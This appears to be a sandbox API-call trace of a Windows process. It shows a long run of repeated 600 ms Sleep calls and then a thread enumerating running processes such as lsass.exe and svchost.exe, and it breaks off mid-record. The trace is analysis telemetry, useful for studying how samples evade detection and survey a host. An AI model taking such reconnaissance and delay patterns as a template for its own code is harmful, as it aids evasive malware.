Sleep (dwMilliseconds=0x258) [0265.472] Sleep (dwMilliseconds=0x258) [0265.560] Sleep (dwMilliseconds=0x258) [0265.666] Sleep (dwMilliseconds=0x258) [0265.773] Sleep (dwMilliseconds=0x258) [0265.864] Sleep (dwMilliseconds=0x258) [0265.952] Sleep (dwMilliseconds=0x258) [0266.003] Sleep (dwMilliseconds=0x258) [0266.092] Sleep (dwMilliseconds=0x258) [0266.189] Sleep (dwMilliseconds=0x258) [0266.277] Sleep (dwMilliseconds=0x258) [0266.360] Sleep (dwMilliseconds=0x258) [0266.483] Sleep (dwMilliseconds=0x258) [0266.524] Sleep (dwMilliseconds=0x258) [0266.567] Sleep (dwMilliseconds=0x258) [0266.645] Sleep (dwMilliseconds=0x258) [0266.723] Sleep (dwMilliseconds=0x258) [0266.848] Sleep (dwMilliseconds=0x258) [0266.926] Sleep (dwMilliseconds=0x258) [0267.003] Sleep (dwMilliseconds=0x258) [0267.084] Sleep (dwMilliseconds=0x258) [0267.159] Sleep (dwMilliseconds=0x258) [0267.239] Sleep (dwMilliseconds=0x258) [0267.317] Sleep (dwMilliseconds=0x258) [0267.411] Sleep (dwMilliseconds=0x258) [0267.487] Sleep (dwMilliseconds=0x258) [0267.567] Sleep (dwMilliseconds=0x258) [0267.645] Sleep (dwMilliseconds=0x258) [0267.739] Sleep (dwMilliseconds=0x258) [0267.827] Sleep (dwMilliseconds=0x258) [0267.907] Sleep (dwMilliseconds=0x258) [0268.137] Sleep (dwMilliseconds=0x258) [0268.223] Sleep (dwMilliseconds=0x258) [0268.313] Sleep (dwMilliseconds=0x258) [0268.371] Sleep (dwMilliseconds=0x258) [0268.443] Sleep (dwMilliseconds=0x258) [0268.519] Sleep (dwMilliseconds=0x258) [0268.600] Sleep (dwMilliseconds=0x258) [0268.691] Sleep (dwMilliseconds=0x258) [0268.770] Sleep (dwMilliseconds=0x258) [0268.848] Sleep (dwMilliseconds=0x258) [0268.942] Sleep (dwMilliseconds=0x258) [0269.035] Sleep (dwMilliseconds=0x258) [0269.129] Sleep (dwMilliseconds=0x258) [0269.253] Sleep (dwMilliseconds=0x258) [0269.365] Sleep (dwMilliseconds=0x258) [0269.472] Sleep (dwMilliseconds=0x258) [0269.537] Sleep (dwMilliseconds=0x258) [0269.613] Sleep (dwMilliseconds=0x258) [0269.710] Sleep (dwMilliseconds=0x258) [0269.802] Sleep (dwMilliseconds=0x258) [0269.896] Sleep (dwMilliseconds=0x258) [0269.988] Sleep (dwMilliseconds=0x258) [0270.067] Sleep (dwMilliseconds=0x258) [0270.161] Sleep (dwMilliseconds=0x258) [0270.254] Sleep (dwMilliseconds=0x258) [0270.347] Sleep (dwMilliseconds=0x258) [0270.418] Sleep (dwMilliseconds=0x258) [0270.457] Sleep (dwMilliseconds=0x258) [0270.521] Sleep (dwMilliseconds=0x258) [0270.614] Sleep (dwMilliseconds=0x258) [0270.694] Sleep (dwMilliseconds=0x258) [0270.742] Sleep (dwMilliseconds=0x258) [0270.801] Sleep (dwMilliseconds=0x258) [0270.863] Sleep (dwMilliseconds=0x258) [0270.957] Sleep (dwMilliseconds=0x258) [0271.051] Sleep (dwMilliseconds=0x258) [0271.145] Sleep (dwMilliseconds=0x258) [0271.208] Sleep (dwMilliseconds=0x258) [0271.270] Sleep (dwMilliseconds=0x258) [0271.362] Sleep (dwMilliseconds=0x258) [0271.473] Sleep (dwMilliseconds=0x258) [0271.652] Sleep (dwMilliseconds=0x258) [0271.708] Sleep (dwMilliseconds=0x258) [0271.801] Sleep (dwMilliseconds=0x258) [0271.899] Sleep (dwMilliseconds=0x258) [0271.988] Sleep (dwMilliseconds=0x258) [0272.083] Sleep (dwMilliseconds=0x258) [0272.161] Sleep (dwMilliseconds=0x258) [0272.255] Sleep (dwMilliseconds=0x258) [0272.332] Sleep (dwMilliseconds=0x258) [0272.380] Sleep (dwMilliseconds=0x258) [0272.488] Sleep (dwMilliseconds=0x258) [0272.583] Sleep (dwMilliseconds=0x258) [0272.677] Sleep (dwMilliseconds=0x258) [0272.821] Sleep (dwMilliseconds=0x258) [0272.911] Sleep (dwMilliseconds=0x258) [0272.989] Sleep (dwMilliseconds=0x258) [0273.083] Sleep (dwMilliseconds=0x258) [0273.177] Sleep (dwMilliseconds=0x258) [0273.270] Sleep (dwMilliseconds=0x258) [0273.365] Sleep (dwMilliseconds=0x258) [0273.474] Sleep (dwMilliseconds=0x258) [0273.585] Sleep (dwMilliseconds=0x258) [0273.660] Sleep (dwMilliseconds=0x258) [0273.709] Sleep (dwMilliseconds=0x258) [0273.801] Sleep (dwMilliseconds=0x258) [0273.993] Sleep (dwMilliseconds=0x258) [0274.067] Sleep (dwMilliseconds=0x258) [0274.146] Sleep (dwMilliseconds=0x258) [0274.224] Sleep (dwMilliseconds=0x258) [0274.302] Sleep (dwMilliseconds=0x258) [0274.379] Sleep (dwMilliseconds=0x258) [0274.458] Sleep (dwMilliseconds=0x258) [0274.535] Sleep (dwMilliseconds=0x258) [0274.614] Sleep (dwMilliseconds=0x258) [0274.707] Sleep (dwMilliseconds=0x258) [0274.802] Sleep (dwMilliseconds=0x258) [0274.880] Sleep (dwMilliseconds=0x258) [0274.959] Sleep (dwMilliseconds=0x258) [0275.035] Sleep (dwMilliseconds=0x258) [0275.161] Sleep (dwMilliseconds=0x258) [0275.240] Sleep (dwMilliseconds=0x258) [0275.318] Sleep (dwMilliseconds=0x258) [0275.394] Sleep (dwMilliseconds=0x258) [0275.505] Sleep (dwMilliseconds=0x258) [0275.599] Sleep (dwMilliseconds=0x258) [0275.661] Sleep (dwMilliseconds=0x258) [0275.724] Sleep (dwMilliseconds=0x258) [0275.820] Sleep (dwMilliseconds=0x258) [0275.910] Sleep (dwMilliseconds=0x258) [0275.993] Sleep (dwMilliseconds=0x258) [0276.068] Sleep (dwMilliseconds=0x258) [0276.178] Sleep (dwMilliseconds=0x258) [0276.254] Sleep (dwMilliseconds=0x258) [0276.381] Sleep (dwMilliseconds=0x258) [0276.482] Sleep (dwMilliseconds=0x258) [0276.559] Sleep (dwMilliseconds=0x258) [0276.640] Sleep (dwMilliseconds=0x258) [0276.724] Sleep (dwMilliseconds=0x258) [0276.814] Sleep (dwMilliseconds=0x258) [0276.877] Sleep (dwMilliseconds=0x258) [0276.928] Sleep (dwMilliseconds=0x258) [0277.020] Sleep (dwMilliseconds=0x258) [0277.109] Sleep (dwMilliseconds=0x258) [0277.191] Sleep (dwMilliseconds=0x258) [0277.270] Sleep (dwMilliseconds=0x258) [0277.363] Sleep (dwMilliseconds=0x258) [0277.442] Sleep (dwMilliseconds=0x258) [0277.566] Sleep (dwMilliseconds=0x258) [0277.661] Sleep (dwMilliseconds=0x258) [0277.739] Sleep (dwMilliseconds=0x258) [0277.817] Sleep (dwMilliseconds=0x258) [0277.910] Sleep (dwMilliseconds=0x258) [0277.989] Sleep (dwMilliseconds=0x258) [0278.052] Sleep (dwMilliseconds=0x258) [0278.114] Sleep (dwMilliseconds=0x258) [0278.207] Sleep (dwMilliseconds=0x258) [0278.287] Sleep (dwMilliseconds=0x258) [0278.363] Sleep (dwMilliseconds=0x258) [0278.491] Sleep (dwMilliseconds=0x258) [0278.566] Sleep (dwMilliseconds=0x258) [0278.630] Sleep (dwMilliseconds=0x258) [0278.738] Sleep (dwMilliseconds=0x258) [0278.817] Sleep (dwMilliseconds=0x258) [0278.911] Sleep (dwMilliseconds=0x258) [0278.989] Sleep (dwMilliseconds=0x258) [0279.066] Sleep (dwMilliseconds=0x258) [0279.161] Sleep (dwMilliseconds=0x258) [0279.240] Sleep (dwMilliseconds=0x258) [0279.317] Sleep (dwMilliseconds=0x258) [0279.394] Sleep (dwMilliseconds=0x258) [0279.504] Sleep (dwMilliseconds=0x258) [0279.567] Sleep (dwMilliseconds=0x258) [0279.629] Sleep (dwMilliseconds=0x258) [0279.707] Sleep (dwMilliseconds=0x258) [0279.787] Sleep (dwMilliseconds=0x258) [0279.957] Sleep (dwMilliseconds=0x258) [0280.052] Sleep (dwMilliseconds=0x258) [0280.137] Sleep (dwMilliseconds=0x258) [0280.219] Sleep (dwMilliseconds=0x258) [0280.288] Sleep (dwMilliseconds=0x258) [0280.369] Sleep (dwMilliseconds=0x258) [0280.474] Sleep (dwMilliseconds=0x258) [0280.550] Sleep (dwMilliseconds=0x258) [0280.604] Sleep (dwMilliseconds=0x258) [0280.691] Sleep (dwMilliseconds=0x258) [0280.769] Sleep (dwMilliseconds=0x258) [0280.850] Sleep (dwMilliseconds=0x258) [0280.926] Sleep (dwMilliseconds=0x258) [0281.004] Sleep (dwMilliseconds=0x258) [0281.163] Sleep (dwMilliseconds=0x258) [0281.271] Sleep (dwMilliseconds=0x258) [0281.348] Sleep (dwMilliseconds=0x258) [0281.442] Sleep (dwMilliseconds=0x258) [0281.535] Sleep (dwMilliseconds=0x258) [0281.631] Sleep (dwMilliseconds=0x258) [0281.735] Sleep (dwMilliseconds=0x258) [0281.785] Sleep (dwMilliseconds=0x258) [0281.864] Sleep (dwMilliseconds=0x258) [0281.956] Sleep (dwMilliseconds=0x258) [0282.050] Sleep (dwMilliseconds=0x258) [0282.144] Sleep (dwMilliseconds=0x258) [0282.269] Sleep (dwMilliseconds=0x258) [0282.676] Sleep (dwMilliseconds=0x258) [0282.832] Sleep (dwMilliseconds=0x258) [0282.926] Sleep (dwMilliseconds=0x258) [0283.020] Sleep (dwMilliseconds=0x258) [0283.114] Sleep (dwMilliseconds=0x258) [0283.207] Sleep (dwMilliseconds=0x258) [0283.272] Sleep (dwMilliseconds=0x258) [0283.333] Sleep (dwMilliseconds=0x258) [0283.566] Sleep (dwMilliseconds=0x258) [0283.661] Sleep (dwMilliseconds=0x258) [0283.755] Sleep (dwMilliseconds=0x258) [0283.848] Sleep (dwMilliseconds=0x258) [0283.911] Sleep (dwMilliseconds=0x258) [0283.973] Sleep (dwMilliseconds=0x258) [0284.077] Sleep (dwMilliseconds=0x258) [0284.176] Sleep (dwMilliseconds=0x258) [0284.271] Sleep (dwMilliseconds=0x258) [0284.347] Sleep (dwMilliseconds=0x258) [0284.428] Sleep (dwMilliseconds=0x258) [0284.504] Sleep (dwMilliseconds=0x258) [0284.630] Sleep (dwMilliseconds=0x258) [0284.724] Sleep (dwMilliseconds=0x258) [0284.849] Sleep (dwMilliseconds=0x258) [0284.927] Sleep (dwMilliseconds=0x258) [0285.009] Sleep (dwMilliseconds=0x258) [0285.118] Sleep (dwMilliseconds=0x258) [0285.226] Sleep (dwMilliseconds=0x258) [0285.343] Sleep (dwMilliseconds=0x258) [0285.427] Sleep (dwMilliseconds=0x258) [0285.520] Sleep (dwMilliseconds=0x258) [0285.616] Sleep (dwMilliseconds=0x258) [0285.691] Sleep (dwMilliseconds=0x258) [0285.849] Sleep (dwMilliseconds=0x258) [0285.941] Sleep (dwMilliseconds=0x258) [0286.037] Sleep (dwMilliseconds=0x258) [0286.129] Sleep (dwMilliseconds=0x258) [0286.224] Sleep (dwMilliseconds=0x258) [0286.297] Sleep (dwMilliseconds=0x258) [0286.334] Sleep (dwMilliseconds=0x258) [0286.394] Sleep (dwMilliseconds=0x258) [0286.491] Sleep (dwMilliseconds=0x258) [0286.582] Sleep (dwMilliseconds=0x258) [0286.678] Sleep (dwMilliseconds=0x258) [0286.770] Sleep (dwMilliseconds=0x258) [0286.879] Sleep (dwMilliseconds=0x258) [0287.019] Sleep (dwMilliseconds=0x258) [0287.113] Sleep (dwMilliseconds=0x258) [0287.192] Sleep (dwMilliseconds=0x258) [0287.272] Sleep (dwMilliseconds=0x258) [0287.348] Sleep (dwMilliseconds=0x258) [0287.426] Sleep (dwMilliseconds=0x258) [0287.505] Sleep (dwMilliseconds=0x258) [0287.583] Sleep (dwMilliseconds=0x258) [0287.659] Sleep (dwMilliseconds=0x258) [0287.753] Sleep (dwMilliseconds=0x258) [0287.863] Sleep (dwMilliseconds=0x258) [0287.958] Sleep (dwMilliseconds=0x258) [0288.045] Sleep (dwMilliseconds=0x258) [0288.130] Sleep (dwMilliseconds=0x258) [0288.243] Sleep (dwMilliseconds=0x258) [0288.286] Sleep (dwMilliseconds=0x258) [0288.348] Sleep (dwMilliseconds=0x258) [0288.426] Sleep (dwMilliseconds=0x258) [0288.503] Sleep (dwMilliseconds=0x258) [0288.583] Sleep (dwMilliseconds=0x258) [0288.675] Sleep (dwMilliseconds=0x258) [0288.766] Sleep (dwMilliseconds=0x258) [0288.862] Sleep (dwMilliseconds=0x258) [0288.942] Sleep (dwMilliseconds=0x258) [0289.035] Sleep (dwMilliseconds=0x258) [0289.130] Sleep (dwMilliseconds=0x258) [0289.210] Sleep (dwMilliseconds=0x258) [0289.293] Sleep (dwMilliseconds=0x258) [0289.578] Sleep (dwMilliseconds=0x258) [0289.673] Sleep (dwMilliseconds=0x258) [0289.724] Sleep (dwMilliseconds=0x258) [0289.801] Sleep (dwMilliseconds=0x258) [0289.893] Sleep (dwMilliseconds=0x258) [0289.988] Sleep (dwMilliseconds=0x258) [0290.066] Sleep (dwMilliseconds=0x258) [0290.144] Sleep (dwMilliseconds=0x258) [0290.222] Sleep (dwMilliseconds=0x258) [0290.301] Sleep (dwMilliseconds=0x258) [0290.396] Sleep (dwMilliseconds=0x258) [0290.486] Sleep (dwMilliseconds=0x258) [0290.576] Sleep (dwMilliseconds=0x258) [0290.648] Sleep (dwMilliseconds=0x258) [0290.725] Sleep (dwMilliseconds=0x258) [0290.804] Sleep (dwMilliseconds=0x258) [0290.854] Sleep (dwMilliseconds=0x258) [0290.912] Sleep (dwMilliseconds=0x258) [0291.004] Sleep (dwMilliseconds=0x258) [0291.105] Sleep (dwMilliseconds=0x258) [0291.175] Sleep (dwMilliseconds=0x258) [0291.271] Sleep (dwMilliseconds=0x258) [0291.347] Sleep (dwMilliseconds=0x258) [0291.426] Sleep (dwMilliseconds=0x258) [0291.488] Sleep (dwMilliseconds=0x258) [0291.583] Sleep (dwMilliseconds=0x258) [0291.675] Sleep (dwMilliseconds=0x258) [0291.895] Sleep (dwMilliseconds=0x258) [0292.003] Sleep (dwMilliseconds=0x258) [0292.083] Sleep (dwMilliseconds=0x258) [0292.169] Sleep (dwMilliseconds=0x258) [0292.255] Sleep (dwMilliseconds=0x258) [0292.338] Sleep (dwMilliseconds=0x258) [0292.415] Sleep (dwMilliseconds=0x258) [0292.492] Sleep (dwMilliseconds=0x258) [0292.570] Sleep (dwMilliseconds=0x258) [0292.624] Sleep (dwMilliseconds=0x258) [0292.661] Sleep (dwMilliseconds=0x258) [0292.739] Sleep (dwMilliseconds=0x258) [0292.817] Sleep (dwMilliseconds=0x258) [0292.981] Sleep (dwMilliseconds=0x258) [0293.068] Sleep (dwMilliseconds=0x258) [0293.170] Sleep (dwMilliseconds=0x258) [0293.256] Sleep (dwMilliseconds=0x258) [0293.331] Sleep (dwMilliseconds=0x258) [0293.436] Sleep (dwMilliseconds=0x258) [0293.511] Sleep (dwMilliseconds=0x258) [0293.615] Sleep (dwMilliseconds=0x258) [0293.707] Sleep (dwMilliseconds=0x258) [0293.793] Sleep (dwMilliseconds=0x258) [0293.878] Sleep (dwMilliseconds=0x258) [0294.067] Sleep (dwMilliseconds=0x258) [0294.206] Sleep (dwMilliseconds=0x258) [0294.303] Sleep (dwMilliseconds=0x258) [0294.394] Sleep (dwMilliseconds=0x258) [0294.489] Sleep (dwMilliseconds=0x258) [0294.583] Sleep (dwMilliseconds=0x258) [0294.637] Sleep (dwMilliseconds=0x258) [0294.675] Sleep (dwMilliseconds=0x258) [0294.755] Sleep (dwMilliseconds=0x258) [0294.847] Sleep (dwMilliseconds=0x258) [0294.982] Sleep (dwMilliseconds=0x258) [0295.067] Sleep (dwMilliseconds=0x258) [0295.161] Sleep (dwMilliseconds=0x258) [0295.238] Sleep (dwMilliseconds=0x258) [0295.378] Sleep (dwMilliseconds=0x258) [0295.476] Sleep (dwMilliseconds=0x258) [0295.566] Sleep (dwMilliseconds=0x258) [0295.671] Sleep (dwMilliseconds=0x258) [0295.753] Sleep (dwMilliseconds=0x258) [0295.863] Sleep (dwMilliseconds=0x258) [0295.956] Sleep (dwMilliseconds=0x258) [0296.081] Sleep (dwMilliseconds=0x258) [0296.222] Sleep (dwMilliseconds=0x258) [0296.316] Sleep (dwMilliseconds=0x258) [0296.494] Sleep (dwMilliseconds=0x258) [0296.604] Sleep (dwMilliseconds=0x258) [0296.734] Sleep (dwMilliseconds=0x258) [0296.823] Sleep (dwMilliseconds=0x258) [0296.913] Sleep (dwMilliseconds=0x258) [0297.020] Sleep (dwMilliseconds=0x258) [0297.191] Sleep (dwMilliseconds=0x258) [0297.285] Sleep (dwMilliseconds=0x258) [0297.378] Sleep (dwMilliseconds=0x258) [0297.481] Sleep (dwMilliseconds=0x258) [0297.535] Sleep (dwMilliseconds=0x258) [0297.614] Sleep (dwMilliseconds=0x258) [0297.801] Sleep (dwMilliseconds=0x258) [0297.902] Sleep (dwMilliseconds=0x258) [0297.988] Sleep (dwMilliseconds=0x258) [0298.083] Sleep (dwMilliseconds=0x258) [0298.237] Sleep (dwMilliseconds=0x258) [0298.317] Sleep (dwMilliseconds=0x258) [0298.410] Sleep (dwMilliseconds=0x258) [0298.505] Sleep (dwMilliseconds=0x258) [0298.582] Sleep (dwMilliseconds=0x258) [0298.676] Sleep (dwMilliseconds=0x258) [0298.770] Sleep (dwMilliseconds=0x258) [0298.831] Sleep (dwMilliseconds=0x258) [0299.018] Sleep (dwMilliseconds=0x258) [0299.146] Sleep (dwMilliseconds=0x258) [0299.224] Sleep (dwMilliseconds=0x258) [0299.315] Sleep (dwMilliseconds=0x258) [0299.398] Sleep (dwMilliseconds=0x258) [0299.474] Sleep (dwMilliseconds=0x258) [0299.521] Sleep (dwMilliseconds=0x258) [0299.567] Sleep (dwMilliseconds=0x258) [0299.645] Sleep (dwMilliseconds=0x258) [0299.739] Sleep (dwMilliseconds=0x258) [0299.816] Sleep (dwMilliseconds=0x258) [0299.895] Sleep (dwMilliseconds=0x258) [0299.973] Sleep (dwMilliseconds=0x258) [0300.067] Sleep (dwMilliseconds=0x258) [0300.175] Sleep (dwMilliseconds=0x258) [0300.271] Sleep (dwMilliseconds=0x258) [0300.347] Sleep (dwMilliseconds=0x258) [0300.427] Sleep (dwMilliseconds=0x258) [0300.503] Sleep (dwMilliseconds=0x258) [0300.582] Sleep (dwMilliseconds=0x258) [0300.660] Sleep (dwMilliseconds=0x258) [0300.739] Sleep (dwMilliseconds=0x258) [0301.050] Sleep (dwMilliseconds=0x258) [0301.662] Sleep (dwMilliseconds=0x258) [0301.756] Sleep (dwMilliseconds=0x258) [0301.847] Sleep (dwMilliseconds=0x258) [0301.950] Sleep (dwMilliseconds=0x258) [0302.036] Sleep (dwMilliseconds=0x258) [0302.147] Sleep (dwMilliseconds=0x258) [0302.237] Sleep (dwMilliseconds=0x258) [0302.485] Sleep (dwMilliseconds=0x258) [0302.599] Sleep (dwMilliseconds=0x258) Thread: id = 48 os_tid = 0xc64 [0103.791] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2064 [0103.814] Process32First (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0103.818] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0103.820] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0103.822] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0103.824] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0103.826] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0103.828] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0103.830] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0103.854] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0103.856] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.859] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.861] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0103.863] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.865] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.867] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.869] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.871] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.873] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.875] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.876] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0103.879] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0103.881] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.883] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0103.885] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.887] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0103.888] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0103.890] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0103.892] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0103.946] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0103.948] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0103.951] Process32Next (in: hSnapshot=0x2064, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, 